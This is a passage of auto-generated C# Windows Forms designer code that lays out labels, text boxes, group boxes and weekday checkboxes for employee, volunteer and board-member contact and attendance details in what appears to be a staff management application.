System.Drawing.Point(500, 103); this.textBox_EmpCell.Name = "textBox_EmpCell"; this.textBox_EmpCell.Size = new System.Drawing.Size(200, 28); this.textBox_EmpCell.TabIndex = 28; // // label22 // this.label22.AutoSize = true; this.label22.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label22.ForeColor = System.Drawing.Color.DimGray; this.label22.Location = new System.Drawing.Point(366, 106); this.label22.Name = "label22"; this.label22.Size = new System.Drawing.Size(50, 21); this.label22.TabIndex = 27; this.label22.Text = "Cell :"; // // textBox_EmpEmail // this.textBox_EmpEmail.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpEmail.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpEmail.Location = new System.Drawing.Point(501, 139); this.textBox_EmpEmail.Name = "textBox_EmpEmail"; this.textBox_EmpEmail.Size = new System.Drawing.Size(200, 28); this.textBox_EmpEmail.TabIndex = 26; // // label1 // this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label1.ForeColor = System.Drawing.Color.DimGray; this.label1.Location = new System.Drawing.Point(364, 142); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(67, 21); this.label1.TabIndex = 25; this.label1.Text = "Email :"; // // textBox_EmpPhone // this.textBox_EmpPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpPhone.Location = new System.Drawing.Point(158, 139); this.textBox_EmpPhone.Name = "textBox_EmpPhone"; this.textBox_EmpPhone.Size = new System.Drawing.Size(200, 28); this.textBox_EmpPhone.TabIndex = 24; // // label26 // this.label26.AutoSize = true; this.label26.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label26.ForeColor = System.Drawing.Color.DimGray; this.label26.Location = new System.Drawing.Point(7, 142); this.label26.Name = "label26"; this.label26.Size = new System.Drawing.Size(69, 21); this.label26.TabIndex = 18; this.label26.Text = "Phone :"; // // textBox_EmpPostal // this.textBox_EmpPostal.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpPostal.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpPostal.Location = new System.Drawing.Point(158, 103); this.textBox_EmpPostal.Name = "textBox_EmpPostal"; this.textBox_EmpPostal.Size = new System.Drawing.Size(200, 28); this.textBox_EmpPostal.TabIndex = 23; // // textBox_EmpCity // this.textBox_EmpCity.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpCity.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpCity.Location = new System.Drawing.Point(501, 30); this.textBox_EmpCity.Name = "textBox_EmpCity"; this.textBox_EmpCity.Size = new System.Drawing.Size(200, 28); this.textBox_EmpCity.TabIndex = 22; // // label27 // this.label27.AutoSize = true; this.label27.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label27.ForeColor = System.Drawing.Color.DimGray; this.label27.Location = new System.Drawing.Point(6, 106); this.label27.Name = "label27"; this.label27.Size = new System.Drawing.Size(113, 21); this.label27.TabIndex = 21; this.label27.Text = "Postal Code :"; // // label28 // this.label28.AutoSize = true; this.label28.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label28.ForeColor = System.Drawing.Color.DimGray; this.label28.Location = new System.Drawing.Point(6, 33); this.label28.Name = "label28"; this.label28.Size = new System.Drawing.Size(83, 21); this.label28.TabIndex = 12; this.label28.Text = "Address :"; // // textBox_EmpAdress // this.textBox_EmpAdress.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpAdress.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpAdress.Location = new System.Drawing.Point(158, 30); this.textBox_EmpAdress.Name = "textBox_EmpAdress"; this.textBox_EmpAdress.Size = new System.Drawing.Size(200, 28); this.textBox_EmpAdress.TabIndex = 16; // // textBox_EmpProvince // this.textBox_EmpProvince.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpProvince.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpProvince.Location = new System.Drawing.Point(158, 67); this.textBox_EmpProvince.Name = "textBox_EmpProvince"; this.textBox_EmpProvince.Size = new System.Drawing.Size(200, 28); this.textBox_EmpProvince.TabIndex = 18; // // textBox_EmpCountry // this.textBox_EmpCountry.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_EmpCountry.ForeColor = System.Drawing.Color.DimGray; this.textBox_EmpCountry.Location = new System.Drawing.Point(501, 67); this.textBox_EmpCountry.Name = "textBox_EmpCountry"; this.textBox_EmpCountry.Size = new System.Drawing.Size(200, 28); this.textBox_EmpCountry.TabIndex = 19; // // label29 // this.label29.AutoSize = true; this.label29.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label29.ForeColor = System.Drawing.Color.DimGray; this.label29.Location = new System.Drawing.Point(6, 70); this.label29.Name = "label29"; this.label29.Size = new System.Drawing.Size(89, 21); this.label29.TabIndex = 14; this.label29.Text = "Province :"; // // label30 // this.label30.AutoSize = true; this.label30.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label30.ForeColor = System.Drawing.Color.DimGray; this.label30.Location = new System.Drawing.Point(364, 33); this.label30.Name = "label30"; this.label30.Size = new System.Drawing.Size(51, 21); this.label30.TabIndex = 13; this.label30.Text = "City :"; // // label31 // this.label31.AutoSize = true; this.label31.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label31.ForeColor = System.Drawing.Color.DimGray; this.label31.Location = new System.Drawing.Point(364, 70); this.label31.Name = "label31"; this.label31.Size = new System.Drawing.Size(83, 21); this.label31.TabIndex = 15; this.label31.Text = "Country :"; // // VolunteerTab // this.VolunteerTab.BackColor = System.Drawing.SystemColors.Control; this.VolunteerTab.Controls.Add(this.groupBox12); this.VolunteerTab.Controls.Add(this.groupBox11); this.VolunteerTab.Controls.Add(this.groupBox10); this.VolunteerTab.Controls.Add(this.groupBox9); this.VolunteerTab.Location = new System.Drawing.Point(4, 22); this.VolunteerTab.Name = "VolunteerTab"; this.VolunteerTab.Size = new System.Drawing.Size(719, 789); this.VolunteerTab.TabIndex = 2; this.VolunteerTab.Text = "Volunteer"; // // groupBox12 // this.groupBox12.Controls.Add(this.checkBox17); this.groupBox12.Controls.Add(this.checkBox18); this.groupBox12.Controls.Add(this.checkBox19); this.groupBox12.Controls.Add(this.checkBox20); this.groupBox12.Controls.Add(this.checkBox21); this.groupBox12.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox12.ForeColor = System.Drawing.Color.DarkGray; this.groupBox12.Location = new System.Drawing.Point(6, 418); this.groupBox12.Name = "groupBox12"; this.groupBox12.Size = new System.Drawing.Size(712, 68); this.groupBox12.TabIndex = 39; this.groupBox12.TabStop = false; this.groupBox12.Text = "Attendance"; // // checkBox17 // this.checkBox17.AutoSize = true; this.checkBox17.Checked = true; this.checkBox17.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox17.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox17.ForeColor = System.Drawing.Color.DimGray; this.checkBox17.Location = new System.Drawing.Point(440, 28); this.checkBox17.Name = "checkBox17"; this.checkBox17.Size = new System.Drawing.Size(82, 25); this.checkBox17.TabIndex = 16; this.checkBox17.Text = "Friday"; this.checkBox17.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox17.UseVisualStyleBackColor = true; // // checkBox18 // this.checkBox18.AutoSize = true; this.checkBox18.Checked = true; this.checkBox18.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox18.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox18.ForeColor = System.Drawing.Color.DimGray; this.checkBox18.Location = new System.Drawing.Point(332, 28); this.checkBox18.Name = "checkBox18"; this.checkBox18.Size = new System.Drawing.Size(105, 25); this.checkBox18.TabIndex = 15; this.checkBox18.Text = "Thursday"; this.checkBox18.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox18.UseVisualStyleBackColor = true; // // checkBox19 // this.checkBox19.AutoSize = true; this.checkBox19.Checked = true; this.checkBox19.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox19.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox19.ForeColor = System.Drawing.Color.DimGray; this.checkBox19.Location = new System.Drawing.Point(207, 28); this.checkBox19.Name = "checkBox19"; this.checkBox19.Size = new System.Drawing.Size(119, 25); this.checkBox19.TabIndex = 14; this.checkBox19.Text = "Wednesday"; this.checkBox19.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox19.UseVisualStyleBackColor = true; // // checkBox20 // this.checkBox20.AutoSize = true; this.checkBox20.Checked = true; this.checkBox20.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox20.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox20.ForeColor = System.Drawing.Color.DimGray; this.checkBox20.Location = new System.Drawing.Point(109, 28); this.checkBox20.Name = "checkBox20"; this.checkBox20.Size = new System.Drawing.Size(95, 25); this.checkBox20.TabIndex = 13; this.checkBox20.Text = "Tuesday"; this.checkBox20.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox20.UseVisualStyleBackColor = true; // // checkBox21 // this.checkBox21.AutoSize = true; this.checkBox21.Checked = true; this.checkBox21.CheckState = System.Windows.Forms.CheckState.Checked; this.checkBox21.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.checkBox21.ForeColor = System.Drawing.Color.DimGray; this.checkBox21.Location = new System.Drawing.Point(11, 28); this.checkBox21.Name = "checkBox21"; this.checkBox21.Size = new System.Drawing.Size(92, 25); this.checkBox21.TabIndex = 12; this.checkBox21.Text = "Monday"; this.checkBox21.TextImageRelation = System.Windows.Forms.TextImageRelation.TextAboveImage; this.checkBox21.UseVisualStyleBackColor = true; // // groupBox11 // this.groupBox11.Controls.Add(this.textBox_VolEmerRelation); this.groupBox11.Controls.Add(this.label42); this.groupBox11.Controls.Add(this.textBox_VolEmerCP); this.groupBox11.Controls.Add(this.label43); this.groupBox11.Controls.Add(this.label44); this.groupBox11.Controls.Add(this.textBox_VolEmerCN); this.groupBox11.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox11.ForeColor = System.Drawing.Color.DarkGray; this.groupBox11.Location = new System.Drawing.Point(6, 307); this.groupBox11.Name = "groupBox11"; this.groupBox11.Size = new System.Drawing.Size(711, 105); this.groupBox11.TabIndex = 38; this.groupBox11.TabStop = false; this.groupBox11.Text = "Emergency"; // // textBox_VolEmerRelation // this.textBox_VolEmerRelation.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolEmerRelation.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolEmerRelation.Location = new System.Drawing.Point(157, 66); this.textBox_VolEmerRelation.Name = "textBox_VolEmerRelation"; this.textBox_VolEmerRelation.Size = new System.Drawing.Size(200, 28); this.textBox_VolEmerRelation.TabIndex = 27; // // label42 // this.label42.AutoSize = true; this.label42.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label42.ForeColor = System.Drawing.Color.DimGray; this.label42.Location = new System.Drawing.Point(4, 69); this.label42.Name = "label42"; this.label42.Size = new System.Drawing.Size(86, 21); this.label42.TabIndex = 27; this.label42.Text = "Relation :"; // // textBox_VolEmerCP // this.textBox_VolEmerCP.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolEmerCP.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolEmerCP.Location = new System.Drawing.Point(500, 32); this.textBox_VolEmerCP.Name = "textBox_VolEmerCP"; this.textBox_VolEmerCP.Size = new System.Drawing.Size(200, 28); this.textBox_VolEmerCP.TabIndex = 27; // // label43 // this.label43.AutoSize = true; this.label43.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label43.ForeColor = System.Drawing.Color.DimGray; this.label43.Location = new System.Drawing.Point(363, 35); this.label43.Name = "label43"; this.label43.Size = new System.Drawing.Size(138, 21); this.label43.TabIndex = 26; this.label43.Text = "Emergency CP :"; // // label44 // this.label44.AutoSize = true; this.label44.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label44.ForeColor = System.Drawing.Color.DimGray; this.label44.Location = new System.Drawing.Point(5, 35); this.label44.Name = "label44"; this.label44.Size = new System.Drawing.Size(139, 21); this.label44.TabIndex = 25; this.label44.Text = "Emergency CN :"; // // textBox_VolEmerCN // this.textBox_VolEmerCN.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolEmerCN.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolEmerCN.Location = new System.Drawing.Point(157, 32); this.textBox_VolEmerCN.Name = "textBox_VolEmerCN"; this.textBox_VolEmerCN.Size = new System.Drawing.Size(200, 28); this.textBox_VolEmerCN.TabIndex = 20; // // groupBox10 // this.groupBox10.Controls.Add(this.textBox_VolCell); this.groupBox10.Controls.Add(this.label23); this.groupBox10.Controls.Add(this.textBox_VolEmail); this.groupBox10.Controls.Add(this.label24); this.groupBox10.Controls.Add(this.textBox_VolPhone); this.groupBox10.Controls.Add(this.label34); this.groupBox10.Controls.Add(this.textBox_VolPostal); this.groupBox10.Controls.Add(this.textBox_VolCity); this.groupBox10.Controls.Add(this.label35); this.groupBox10.Controls.Add(this.label38); this.groupBox10.Controls.Add(this.textBox_VolAdress); this.groupBox10.Controls.Add(this.textBox_VolProvince); this.groupBox10.Controls.Add(this.textBox_VolCountry); this.groupBox10.Controls.Add(this.label39); this.groupBox10.Controls.Add(this.label40); this.groupBox10.Controls.Add(this.label41); this.groupBox10.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox10.ForeColor = System.Drawing.Color.DarkGray; this.groupBox10.Location = new System.Drawing.Point(6, 117); this.groupBox10.Name = "groupBox10"; this.groupBox10.Size = new System.Drawing.Size(712, 184); this.groupBox10.TabIndex = 37; this.groupBox10.TabStop = false; this.groupBox10.Text = "Adress"; // // textBox_VolCell // this.textBox_VolCell.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolCell.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolCell.Location = new System.Drawing.Point(500, 103); this.textBox_VolCell.Name = "textBox_VolCell"; this.textBox_VolCell.Size = new System.Drawing.Size(200, 28); this.textBox_VolCell.TabIndex = 28; // // label23 // this.label23.AutoSize = true; this.label23.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label23.ForeColor = System.Drawing.Color.DimGray; this.label23.Location = new System.Drawing.Point(366, 106); this.label23.Name = "label23"; this.label23.Size = new System.Drawing.Size(50, 21); this.label23.TabIndex = 27; this.label23.Text = "Cell :"; // // textBox_VolEmail // this.textBox_VolEmail.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolEmail.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolEmail.Location = new System.Drawing.Point(501, 139); this.textBox_VolEmail.Name = "textBox_VolEmail"; this.textBox_VolEmail.Size = new System.Drawing.Size(200, 28); this.textBox_VolEmail.TabIndex = 26; // // label24 // this.label24.AutoSize = true; this.label24.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label24.ForeColor = System.Drawing.Color.DimGray; this.label24.Location = new System.Drawing.Point(364, 142); this.label24.Name = "label24"; this.label24.Size = new System.Drawing.Size(67, 21); this.label24.TabIndex = 25; this.label24.Text = "Email :"; // // textBox_VolPhone // this.textBox_VolPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolPhone.Location = new System.Drawing.Point(158, 139); this.textBox_VolPhone.Name = "textBox_VolPhone"; this.textBox_VolPhone.Size = new System.Drawing.Size(200, 28); this.textBox_VolPhone.TabIndex = 24; // // label34 // this.label34.AutoSize = true; this.label34.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label34.ForeColor = System.Drawing.Color.DimGray; this.label34.Location = new System.Drawing.Point(7, 142); this.label34.Name = "label34"; this.label34.Size = new System.Drawing.Size(69, 21); this.label34.TabIndex = 18; this.label34.Text = "Phone :"; // // textBox_VolPostal // this.textBox_VolPostal.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolPostal.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolPostal.Location = new System.Drawing.Point(158, 103); this.textBox_VolPostal.Name = "textBox_VolPostal"; this.textBox_VolPostal.Size = new System.Drawing.Size(200, 28); this.textBox_VolPostal.TabIndex = 23; // // textBox_VolCity // this.textBox_VolCity.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolCity.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolCity.Location = new System.Drawing.Point(501, 30); this.textBox_VolCity.Name = "textBox_VolCity"; this.textBox_VolCity.Size = new System.Drawing.Size(200, 28); this.textBox_VolCity.TabIndex = 22; // // label35 // this.label35.AutoSize = true; this.label35.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label35.ForeColor = System.Drawing.Color.DimGray; this.label35.Location = new System.Drawing.Point(6, 106); this.label35.Name = "label35"; this.label35.Size = new System.Drawing.Size(113, 21); this.label35.TabIndex = 21; this.label35.Text = "Postal Code :"; // // label38 // this.label38.AutoSize = true; this.label38.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label38.ForeColor = System.Drawing.Color.DimGray; this.label38.Location = new System.Drawing.Point(6, 33); this.label38.Name = "label38"; this.label38.Size = new System.Drawing.Size(83, 21); this.label38.TabIndex = 12; this.label38.Text = "Address :"; // // textBox_VolAdress // this.textBox_VolAdress.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolAdress.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolAdress.Location = new System.Drawing.Point(158, 30); this.textBox_VolAdress.Name = "textBox_VolAdress"; this.textBox_VolAdress.Size = new System.Drawing.Size(200, 28); this.textBox_VolAdress.TabIndex = 16; // // textBox_VolProvince // this.textBox_VolProvince.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolProvince.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolProvince.Location = new System.Drawing.Point(158, 67); this.textBox_VolProvince.Name = "textBox_VolProvince"; this.textBox_VolProvince.Size = new System.Drawing.Size(200, 28); this.textBox_VolProvince.TabIndex = 18; // // textBox_VolCountry // this.textBox_VolCountry.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolCountry.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolCountry.Location = new System.Drawing.Point(501, 67); this.textBox_VolCountry.Name = "textBox_VolCountry"; this.textBox_VolCountry.Size = new System.Drawing.Size(200, 28); this.textBox_VolCountry.TabIndex = 19; // // label39 // this.label39.AutoSize = true; this.label39.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label39.ForeColor = System.Drawing.Color.DimGray; this.label39.Location = new System.Drawing.Point(6, 70); this.label39.Name = "label39"; this.label39.Size = new System.Drawing.Size(89, 21); this.label39.TabIndex = 14; this.label39.Text = "Province :"; // // label40 // this.label40.AutoSize = true; this.label40.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label40.ForeColor = System.Drawing.Color.DimGray; this.label40.Location = new System.Drawing.Point(364, 33); this.label40.Name = "label40"; this.label40.Size = new System.Drawing.Size(51, 21); this.label40.TabIndex = 13; this.label40.Text = "City :"; // // label41 // this.label41.AutoSize = true; this.label41.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label41.ForeColor = System.Drawing.Color.DimGray; this.label41.Location = new System.Drawing.Point(364, 70); this.label41.Name = "label41"; this.label41.Size = new System.Drawing.Size(83, 21); this.label41.TabIndex = 15; this.label41.Text = "Country :"; // // groupBox9 // this.groupBox9.Controls.Add(this.label36); this.groupBox9.Controls.Add(this.textBox_VolName); this.groupBox9.Controls.Add(this.label37); this.groupBox9.Controls.Add(this.textBox_VolBirth); this.groupBox9.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox9.ForeColor = System.Drawing.Color.DarkGray; this.groupBox9.Location = new System.Drawing.Point(6, 6); this.groupBox9.Name = "groupBox9"; this.groupBox9.Size = new System.Drawing.Size(712, 105); this.groupBox9.TabIndex = 36; this.groupBox9.TabStop = false; this.groupBox9.Text = "Profile"; // // label36 // this.label36.AutoSize = true; this.label36.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label36.ForeColor = System.Drawing.Color.DimGray; this.label36.Location = new System.Drawing.Point(6, 34); this.label36.Name = "label36"; this.label36.Size = new System.Drawing.Size(61, 21); this.label36.TabIndex = 2; this.label36.Text = "Name:"; // // textBox_VolName // this.textBox_VolName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolName.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolName.Location = new System.Drawing.Point(158, 27); this.textBox_VolName.Name = "textBox_VolName"; this.textBox_VolName.Size = new System.Drawing.Size(511, 28); this.textBox_VolName.TabIndex = 7; // // label37 // this.label37.AutoSize = true; this.label37.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label37.ForeColor = System.Drawing.Color.DimGray; this.label37.Location = new System.Drawing.Point(6, 69); this.label37.Name = "label37"; this.label37.Size = new System.Drawing.Size(123, 21); this.label37.TabIndex = 3; this.label37.Text = "Date of Birth :"; // // textBox_VolBirth // this.textBox_VolBirth.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_VolBirth.ForeColor = System.Drawing.Color.DimGray; this.textBox_VolBirth.Location = new System.Drawing.Point(158, 66); this.textBox_VolBirth.Name = "textBox_VolBirth"; this.textBox_VolBirth.Size = new System.Drawing.Size(200, 28); this.textBox_VolBirth.TabIndex = 8; this.textBox_VolBirth.TextChanged += new System.EventHandler(this.textBox_VolBirth_TextChanged); // // Board_MemberTab // this.Board_MemberTab.BackColor = System.Drawing.SystemColors.Control; this.Board_MemberTab.Controls.Add(this.groupBox14); this.Board_MemberTab.Controls.Add(this.groupBox13); this.Board_MemberTab.Location = new System.Drawing.Point(4, 22); this.Board_MemberTab.Name = "Board_MemberTab"; this.Board_MemberTab.Size = new System.Drawing.Size(719, 789); this.Board_MemberTab.TabIndex = 3; this.Board_MemberTab.Text = "tabPage1"; // // groupBox14 // this.groupBox14.Controls.Add(this.textBox_BoardCell); this.groupBox14.Controls.Add(this.label45); this.groupBox14.Controls.Add(this.textBox_BoardEmail); this.groupBox14.Controls.Add(this.label46); this.groupBox14.Controls.Add(this.textBox_BoardPhone); this.groupBox14.Controls.Add(this.label47); this.groupBox14.Controls.Add(this.textBox_BoardPostal); this.groupBox14.Controls.Add(this.textBox_BoardCity); this.groupBox14.Controls.Add(this.label51); this.groupBox14.Controls.Add(this.label52); this.groupBox14.Controls.Add(this.textBox_BoardAdress); this.groupBox14.Controls.Add(this.textBox_BoardProvince); this.groupBox14.Controls.Add(this.textBox_BoardCountry); this.groupBox14.Controls.Add(this.label53); this.groupBox14.Controls.Add(this.label54); this.groupBox14.Controls.Add(this.label55); this.groupBox14.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox14.ForeColor = System.Drawing.Color.DarkGray; this.groupBox14.Location = new System.Drawing.Point(6, 119); this.groupBox14.Name = "groupBox14"; this.groupBox14.Size = new System.Drawing.Size(712, 184); this.groupBox14.TabIndex = 38; this.groupBox14.TabStop = false; this.groupBox14.Text = "Adress"; // // textBox_BoardCell // this.textBox_BoardCell.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardCell.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardCell.Location = new System.Drawing.Point(500, 103); this.textBox_BoardCell.Name = "textBox_BoardCell"; this.textBox_BoardCell.Size = new System.Drawing.Size(200, 28); this.textBox_BoardCell.TabIndex = 28; // // label45 // this.label45.AutoSize = true; this.label45.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label45.ForeColor = System.Drawing.Color.DimGray; this.label45.Location = new System.Drawing.Point(366, 106); this.label45.Name = "label45"; this.label45.Size = new System.Drawing.Size(50, 21); this.label45.TabIndex = 27; this.label45.Text = "Cell :"; // // textBox_BoardEmail // this.textBox_BoardEmail.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardEmail.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardEmail.Location = new System.Drawing.Point(501, 139); this.textBox_BoardEmail.Name = "textBox_BoardEmail"; this.textBox_BoardEmail.Size = new System.Drawing.Size(200, 28); this.textBox_BoardEmail.TabIndex = 26; // // label46 // this.label46.AutoSize = true; this.label46.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label46.ForeColor = System.Drawing.Color.DimGray; this.label46.Location = new System.Drawing.Point(364, 142); this.label46.Name = "label46"; this.label46.Size = new System.Drawing.Size(67, 21); this.label46.TabIndex = 25; this.label46.Text = "Email :"; // // textBox_BoardPhone // this.textBox_BoardPhone.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardPhone.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardPhone.Location = new System.Drawing.Point(158, 139); this.textBox_BoardPhone.Name = "textBox_BoardPhone"; this.textBox_BoardPhone.Size = new System.Drawing.Size(200, 28); this.textBox_BoardPhone.TabIndex = 24; // // label47 // this.label47.AutoSize = true; this.label47.Font = new System.Drawing.Font("Elephant", 12F, 